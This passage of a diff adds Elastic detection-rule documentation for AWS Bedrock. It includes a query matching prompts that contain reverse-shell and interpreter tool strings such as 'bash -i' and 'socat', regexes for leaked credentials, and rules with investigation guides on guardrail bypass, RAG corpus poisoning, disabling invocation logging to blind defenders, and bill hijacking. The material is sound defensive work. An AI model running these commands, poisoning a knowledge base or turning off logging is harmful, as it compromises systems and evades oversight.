*" or + Esql.lowercase_prompt like "*socat *" or + Esql.lowercase_prompt like "*openssl s_client*" or + Esql.lowercase_prompt like "*perl -e*" or + Esql.lowercase_prompt like "*ruby -e*" or + Esql.lowercase_prompt like "*php -r*" or + Esql.lowercase_prompt like "*node -e*" or + Esql.lowercase_prompt like "*base64 -d*" or + Esql.lowercase_prompt like "*bash -i*" + +| keep _id, _version, _index, @timestamp, user.id, cloud.account.id, gen_ai.request.model.id, gen_ai.prompt, gen_ai.completion + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session.asciidoc new file mode 100644 index 0000000000..ec13316f0c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session]] +=== AWS Bedrock Invocations without Guardrails Detected by a Single User Over a Session + +Identifies multiple AWS Bedrock executions in a one minute time window without guardrails by the same user in the same account over a session. Multiple consecutive executions implies that a user may be intentionally attempting to bypass security controls, by not routing the requests with the desired guardrail configuration in order to access sensitive information, or possibly exploit a vulnerability in the system. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: GenAI +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Policy Violation +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Service: AWS S3 +* Service: AWS Bedrock +* Mitre Atlas: AML.T0051 +* Mitre Atlas: AML.T0054 + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Invocations without Guardrails Detected by a Single User Over a Session* + + +Using Amazon Bedrock Guardrails during model invocation is critical for ensuring the safe, reliable, and ethical use of AI models. +Guardrails help manage risks associated with AI usage and ensure the output aligns with desired policies and standards. + + +*Possible investigation steps* + + +- Identify the user account that caused multiple model violations over a session without desired guardrail configuration and whether it should perform this kind of action. +- Investigate the user activity that might indicate a potential brute force attack. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that caused multiple policy violations by a single user over session, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Create 1-minute time buckets +| eval Esql.time_window_date_trunc = date_trunc(1 minute, @timestamp) + +// Filter for invocations without guardrails +| where gen_ai.guardrail_id is null and user.id is not null + +// keep only relevant fields +| keep + @timestamp, + Esql.time_window_date_trunc, + gen_ai.guardrail_id, + user.id + +// count number of unsafe invocations per user +| stats + Esql.ml_invocations_no_guardrails_count = count() + by user.id + +// Filter for suspicious volume +| where Esql.ml_invocations_no_guardrails_count > 5 + +// sort descending +| sort Esql.ml_invocations_no_guardrails_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-knowledge-base-or-rag-data-source-tampering.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-knowledge-base-or-rag-data-source-tampering.asciidoc new file mode 100644 index 0000000000..3110c1aef2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-knowledge-base-or-rag-data-source-tampering.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-knowledge-base-or-rag-data-source-tampering]] +=== AWS Bedrock Knowledge Base or RAG Data Source Tampering + +Detects control-plane mutations to AWS Bedrock knowledge bases and their backing RAG data sources via CloudTrail. An adversary with access to Bedrock Agent APIs can poison the corpus that RAG-enabled models treat as authoritative by ingesting attacker-controlled documents (IngestKnowledgeBaseDocuments, StartIngestionJob), deleting legitimate documents (DeleteKnowledgeBaseDocuments), or repointing/altering the data source itself (CreateDataSource, UpdateDataSource, DeleteDataSource, UpdateKnowledgeBase). Because downstream applications and users trust model answers grounded in this stored data, tampering with the corpus is a stored data manipulation that can drive misinformation, fraud, or manipulated decisions at inference time. This is a New Terms rule that looks for the first time a given identity ARN performs one of these knowledge base or data source mutations within the history window. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_Operations_Agents_for_Amazon_Bedrock.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Impact +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: New Terms +* Platform: AWS +* Service: AWS Bedrock +* Mitre Atlas: AML.T0070 +* Mitre Atlas: AML.T0059 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Knowledge Base or RAG Data Source Tampering* + + +AWS Bedrock knowledge bases provide Retrieval-Augmented Generation (RAG) by grounding model responses in a stored +corpus that is synchronized from a configured data source. Because RAG-enabled applications present these grounded +answers as authoritative, an adversary who can ingest, delete, or repoint the underlying corpus can poison the answers +returned to downstream users and systems. This rule detects control-plane changes to knowledge bases and data sources +that could enable such corpus poisoning. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and + `aws.cloudtrail.user_identity.access_key_id`. + - Examine `source.ip`, `user_agent.original`, and `aws.cloudtrail.user_identity.invoked_by` to determine whether the + change came from an approved operator, automation, or an unexpected origin. + - Confirm a related change request exists (content update, data source migration, scheduled ingestion). +- **Validate the specific action** + - Inspect `event.action` and `aws.cloudtrail.flattened.request_parameters` to identify the knowledge base, data + source, and any S3 bucket / ingestion configuration referenced. + - For `CreateDataSource` / `UpdateDataSource`, verify the data source location (e.g., S3 bucket) is org-owned and not + attacker-controlled. + - For `IngestKnowledgeBaseDocuments` / `StartIngestionJob`, review what content was ingested and from where. + - For `DeleteKnowledgeBaseDocuments` / `DeleteDataSource`, determine whether legitimate content was removed. +- **Correlate activity** + - Look for prior enumeration of Bedrock resources or anomalous IAM/STS activity from the same identity. + - Review `cloud.account.id` and `cloud.region` to confirm the change occurred where expected. + + +*False positive analysis* + + +- **Planned content maintenance**: Routine ingestion, document updates, and re-syncs by data teams or MLOps automation + are expected. Validate against change tickets and known automation roles. +- **Infrastructure-as-code**: Pipelines may create or update data sources during deployments. Confirm the source IP and + ARN match expected automation. + + +*Response and remediation* + + +- If unauthorized, suspend or disable the implicated knowledge base and data source to prevent further poisoned + retrieval, and revert the corpus to a known-good state. +- Disable or rotate the credentials identified in `aws.cloudtrail.user_identity.access_key_id` if compromise is + suspected. +- Audit recent ingestion jobs and document changes, and validate the integrity of the data source location. +- Restrict Bedrock Agent knowledge base and data source mutation permissions to a small set of trusted roles. + + +==== Setup + + + +*Setup* + + +This rule requires the AWS CloudTrail integration. The data source and knowledge base configuration actions are management +events (captured by default), but the direct document operations (`IngestKnowledgeBaseDocuments`, `DeleteKnowledgeBaseDocuments`) +are Bedrock CloudTrail **data events** that are off by default. Without Bedrock data-event logging enabled on the trail, this rule +provides only **partial coverage** — it will see config changes but not direct document ingestion/deletion, the primary poisoning +vector. Enable Bedrock data-event logging for full coverage. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ( + "IngestKnowledgeBaseDocuments" or + "DeleteKnowledgeBaseDocuments" or + "UpdateKnowledgeBase" or + "CreateDataSource" or + "UpdateDataSource" or + "DeleteDataSource" or + "StartIngestionJob" or + "DeleteKnowledgeBase" + ) and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-model-invocation-logging-disabled-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-model-invocation-logging-disabled-or-modified.asciidoc new file mode 100644 index 0000000000..3d085c1495 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-model-invocation-logging-disabled-or-modified.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-model-invocation-logging-disabled-or-modified]] +=== AWS Bedrock Model Invocation Logging Disabled or Modified + +Detects when an AWS Bedrock model invocation logging configuration is deleted or overwritten via the DeleteModelInvocationLoggingConfiguration or PutModelInvocationLoggingConfiguration API calls. Model invocation logging is the source that feeds the logs-aws_bedrock.invocation-* dataset relied upon by all data-plane Bedrock detections. An adversary who has gained access to a Bedrock environment can blind defenders by deleting this configuration, or by using the Put API to redirect logs to an attacker-controlled or non-monitored S3 bucket or CloudWatch log group. Because this single control-plane action can neutralize the entire data-plane detection stack, it is a high-value evasion technique that should be validated against expected administrative change activity. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_DeleteModelInvocationLoggingConfiguration.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_PutModelInvocationLoggingConfiguration.html +* https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Log Auditing +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS Bedrock + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Model Invocation Logging Disabled or Modified* + + +AWS Bedrock model invocation logging captures the prompts and responses processed by foundation models and delivers them +to an S3 bucket or CloudWatch log group. This data feeds the `logs-aws_bedrock.invocation-*` dataset that all data-plane +Bedrock detections depend on. Deleting the configuration stops this telemetry entirely, while overwriting it with `Put` +can silently redirect logs to a destination the defender does not monitor. Either action effectively blinds the +data-plane detection stack, making this a high-priority defense-evasion event. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `aws.cloudtrail.user_identity.access_key_id`, `user_agent.original`, and `source.ip`. + - Determine whether the identity is an approved Bedrock administrator and whether a change request exists. +- **Determine the exact action** + - For `DeleteModelInvocationLoggingConfiguration`, logging is being turned off entirely — confirm this is intentional. + - For `PutModelInvocationLoggingConfiguration`, inspect `aws.cloudtrail.flattened.request_parameters` for the new + `s3Config` bucket name / key prefix and `cloudWatchConfig` log group, and verify they are owned and monitored by your org. +- **Correlate surrounding activity** + - Pivot on the same identity, `source.ip`, and `cloud.account.id` for prior enumeration + (`GetModelInvocationLoggingConfiguration`) or follow-on Bedrock data-plane activity (model invocations) that would now + be unlogged. + - Check for parallel logging-tampering against CloudTrail, Config, or GuardDuty. + + +*False positive analysis* + + +- **Planned changes**: Logging migrations or compliance updates may legitimately reconfigure or remove the + configuration. Validate against change tickets and infrastructure-as-code pipelines. + + +*Response and remediation* + + +- If unauthorized, restore model invocation logging to the approved destination and verify log delivery resumes into + `logs-aws_bedrock.invocation-*`. +- Review and secure any attacker-specified S3 bucket or CloudWatch log group, and treat data sent there as exposed. +- Audit the actor's recent Bedrock and IAM activity and rotate credentials if compromise is suspected. +- Restrict `bedrock:DeleteModelInvocationLoggingConfiguration` and `bedrock:PutModelInvocationLoggingConfiguration` to a + small set of administrative roles and alert on changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ("DeleteModelInvocationLoggingConfiguration" or "PutModelInvocationLoggingConfiguration") and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-model-prompt-or-completion-containing-credentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-model-prompt-or-completion-containing-credentials.asciidoc new file mode 100644 index 0000000000..64d7529fc8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-model-prompt-or-completion-containing-credentials.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-model-prompt-or-completion-containing-credentials]] +=== AWS Bedrock Model Prompt or Completion Containing Credentials + +Identifies an Amazon Bedrock model invocation whose prompt or completion contains an AWS access key identifier (AKIA long-term or ASIA temporary/STS, followed by 16 characters), an Amazon Bedrock API key (ABSK bearer token), or a PEM private-key block. Credentials in the model input mean an application or user is sending secrets to the model, exposing them to invocation logging, the model provider, and prompt history; credentials in the model output mean the model is emitting secrets, which can result from training-data leakage, poisoned context, or a prompt-injection-driven exfiltration attempt. Either case is a credential-exposure event that warrants immediate rotation of the affected secret. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response + +*Tags*: + +* Domain: GenAI +* Data Source: AWS Bedrock +* Data Source: Amazon Web Services +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Credential Access +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Service: AWS Bedrock +* Mitre Atlas: AML.T0055 +* Mitre Atlas: AML.T0057 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Model Prompt or Completion Containing Credentials* + + +Bedrock model invocation logging records the full request and response of each InvokeModel/Converse call. This rule scans the decoded prompt and completion for live-credential patterns: AWS access key IDs (AKIA/ASIA followed by 16 characters) and PEM private-key headers. A credential in the prompt indicates secrets are being sent to the model (and persisted in logs and, for hosted models, to the provider); a credential in the completion indicates the model returned a secret, which is a sign of training-data or context leakage or a successful prompt-injection exfiltration. + + +*Possible investigation steps* + + +- Review the matched value in "gen_ai.prompt" and "gen_ai.completion" and confirm whether it is a live credential or an example/placeholder. +- Identify the caller in "user.id" and the model in "aws_bedrock.invocation.model_id", and determine which application generated the invocation. +- If the credential is in the completion, review the prompt for injection or data-exfiltration instructions and check the model's knowledge base or context sources. +- Determine the scope and privileges of the exposed credential to gauge impact. + + +*False positive analysis* + + +- Example or documentation keys (such as the AWS EXAMPLE key) match the pattern. Confirm the value is a real credential before escalating. + + +*Response and remediation* + + +- If the credential is live, rotate or deactivate it immediately and review CloudTrail for any use of it. +- Identify and fix the application path that placed the credential into the prompt, and add input/output filtering (such as a Bedrock guardrail with a sensitive-information policy) to prevent recurrence. + + +==== Setup + + +This rule requires Amazon Bedrock model invocation logs ingested via the Elastic AWS Bedrock integration, with text data delivery enabled in the Bedrock model-invocation-logging configuration. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* metadata _id, _version, _index +| where event.action in ("ConverseStream", "Converse") AND + ( gen_ai.prompt rlike """.*(AKIA|ASIA)[A-Z0-9]{16}.*""" + or gen_ai.completion rlike """.*(AKIA|ASIA)[A-Z0-9]{16}.*""" + or gen_ai.prompt rlike """.*-----BEGIN [A-Z ]*PRIVATE KEY-----.*""" + or gen_ai.completion rlike """.*-----BEGIN [A-Z ]*PRIVATE KEY-----.*""" + or gen_ai.prompt rlike """.*ABSK[A-Za-z0-9+/=]{20}.*""" + or gen_ai.completion rlike """.*ABSK[A-Za-z0-9+/=]{20}.*""" + or gen_ai.prompt rlike """.*gh[pousr]_[A-Za-z0-9]{36}.*""" + or gen_ai.completion rlike """.*gh[pousr]_[A-Za-z0-9]{36}.*""" + or gen_ai.prompt rlike """.*github_pat_[A-Za-z0-9_]+.*""" + or gen_ai.completion rlike """.*github_pat_[A-Za-z0-9_]+.*""" + or gen_ai.prompt rlike """.*glpat-[A-Za-z0-9_\\-]+.*""" + or gen_ai.completion rlike """.*glpat-[A-Za-z0-9_\\-]+.*""") +| keep _id, _version, _index, @timestamp, gen_ai.*, aws_bedrock.*, user.*, cloud.*, event.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-provisioned-model-throughput-tampering.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-provisioned-model-throughput-tampering.asciidoc new file mode 100644 index 0000000000..8eee2c975c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-provisioned-model-throughput-tampering.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-provisioned-model-throughput-tampering]] +=== AWS Bedrock Provisioned Model Throughput Tampering + +Detects creation, modification, or deletion of AWS Bedrock Provisioned Model Throughput via the CreateProvisionedModelThroughput, UpdateProvisionedModelThroughput, and DeleteProvisionedModelThroughput APIs. Provisioned Throughput reserves dedicated, billed model capacity for Amazon Bedrock. An adversary who scales this capacity up can drive large, unauthorized cost (cloud resource/bill hijacking), while deleting reserved throughput can cause denial of service to production workloads that depend on that committed capacity. These control-plane changes should be validated against approved capacity-planning and change-management processes. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/prov-throughput.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_CreateProvisionedModelThroughput.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_DeleteProvisionedModelThroughput.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_UpdateProvisionedModelThroughput.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Impact +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS Bedrock +* Mitre Atlas: AML.T0029 +* Mitre Atlas: AML.T0034 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Provisioned Model Throughput Tampering* + + +Amazon Bedrock Provisioned Throughput reserves dedicated, billed model capacity for foundation models. +Because this capacity is committed and metered, adversaries can abuse it in two ways: scaling capacity up to +incur large, unauthorized cloud spend (resource/bill hijacking), or deleting reserved throughput to deny +service to production workloads that rely on committed capacity. This rule identifies +`CreateProvisionedModelThroughput`, `UpdateProvisionedModelThroughput`, and `DeleteProvisionedModelThroughput` +calls so responders can confirm whether the change was authorized. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, + `aws.cloudtrail.user_identity.access_key_id`, `user_agent.original`, and `source.ip`. + - Determine whether the identity is an approved administrator, ML/platform engineer, or automation role. + - Confirm a corresponding change request or capacity-planning ticket exists. +- **Validate the request details** + - Inspect `aws.cloudtrail.request_parameters` and `aws.cloudtrail.response_elements` for the model ID, + commitment duration, and requested model units. Unusually large model-unit counts or long commitment + terms on a Create/Update may indicate cost-driven abuse. + - For `DeleteProvisionedModelThroughput`, identify which provisioned model was removed and whether any + production workload depended on it. +- **Correlate activity** + - Review other Bedrock control-plane actions (e.g., model invocation logging changes, guardrail changes) + and IAM/STS activity from the same identity around the same time. + - Check `cloud.account.id` and `cloud.region` for whether the activity occurred in an expected account/region. + + +*False positive analysis* + + +- **Capacity planning**: Platform, ML, or FinOps teams may legitimately create, update, or delete provisioned + throughput. Validate against change tickets and standard capacity-management procedures. +- **Automation**: IaC or deployment pipelines may manage provisioned throughput on bootstrap or teardown. + Confirm the source IP and ARN match expected automation infrastructure. + + +*Response and remediation* + + +- If unauthorized, immediately disable the offending access key or role and revert the change (delete + unauthorized provisioned throughput, or recreate deleted reserved capacity required by production). +- Review billing and Cost Explorer for unexpected Bedrock provisioned-throughput charges. +- Audit the actor's recent activity and rotate credentials if compromise is suspected. +- Restrict `bedrock:CreateProvisionedModelThroughput`, `bedrock:UpdateProvisionedModelThroughput`, and + `bedrock:DeleteProvisionedModelThroughput` to a small set of administrative roles and enforce approval + workflows and budget alarms. + + +*Additional information* + + +- **https://docs.aws.amazon.com/bedrock/latest/userguide/prov-throughput.html[Amazon Bedrock Provisioned Throughput]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ( + "CreateProvisionedModelThroughput" or + "UpdateProvisionedModelThroughput" or + "DeleteProvisionedModelThroughput" + ) and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Cloud Service Hijacking +** ID: T1496.004 +** Reference URL: https://attack.mitre.org/techniques/T1496/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-resource-based-policy-modified-or-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-resource-based-policy-modified-or-deleted.asciidoc new file mode 100644 index 0000000000..e2446d5fa9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-resource-based-policy-modified-or-deleted.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-resource-based-policy-modified-or-deleted]] +=== AWS Bedrock Resource-Based Policy Modified or Deleted + +Detects modification or deletion of resource-based access policies on AWS Bedrock resources via the PutResourcePolicy and DeleteResourcePolicy API calls. Resource-based policies govern which principals (including external accounts) may access Bedrock resources such as agents, knowledge bases, and custom models. An adversary may attach a resource policy granting an external or unexpected principal access to a Bedrock resource to establish persistence or enable cross-account access, or may delete an existing policy to weaken access controls. These changes should be validated for principal ownership and least-privilege intent. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_PutResourcePolicy.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_DeleteResourcePolicy.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: New Terms +* Platform: AWS +* Service: AWS Bedrock +* Mitre Atlas: AML.T0012 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Resource-Based Policy Modified or Deleted* + + +AWS Bedrock resource-based policies control which principals can access Bedrock resources such as agents, +knowledge bases, and custom models. Adversaries can attach a policy that grants an external principal +access for persistence or cross-account access, or delete a policy to break existing access controls. This +rule detects successful `PutResourcePolicy` and `DeleteResourcePolicy` calls against the Bedrock control +plane. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, + `aws.cloudtrail.user_identity.access_key_id`, `user_agent.original`, and `source.ip`. + - Confirm the identity is expected to manage Bedrock resource policies and that a related change request + exists. +- **Validate the policy change** + - For `PutResourcePolicy`, inspect `aws.cloudtrail.request_parameters` and + `aws.cloudtrail.flattened.request_parameters` for the target resource ARN and the policy document. + Look for `Principal` values referencing external AWS account IDs, `"*"`, or unfamiliar roles. + - For `DeleteResourcePolicy`, determine which resource lost its policy and whether that resource should + have remained restricted. +- **Correlate activity** + - Look for related Bedrock actions (model invocation, agent updates, knowledge base access) from the same + identity or the newly granted principal. + - Check for prior enumeration of Bedrock resources or other recent IAM/resource-policy changes. + + +*False positive analysis* + + +- **Planned access management**: Legitimate sharing or onboarding may add or remove resource policies. + Validate against change tickets and standard templates. +- **Automation**: IaC or platform pipelines may set or remove resource policies during deployment. Confirm + the actor matches known automation infrastructure. + + +*Response and remediation* + + +- If the change is unauthorized, revert the resource policy to its approved state and remove any external + or overly permissive principals. +- Disable or rotate the credentials in `aws.cloudtrail.user_identity.access_key_id` if compromise is + suspected. +- Review all Bedrock and IAM activity from the same identity in the surrounding time window for further + access grants or persistence. +- Restrict 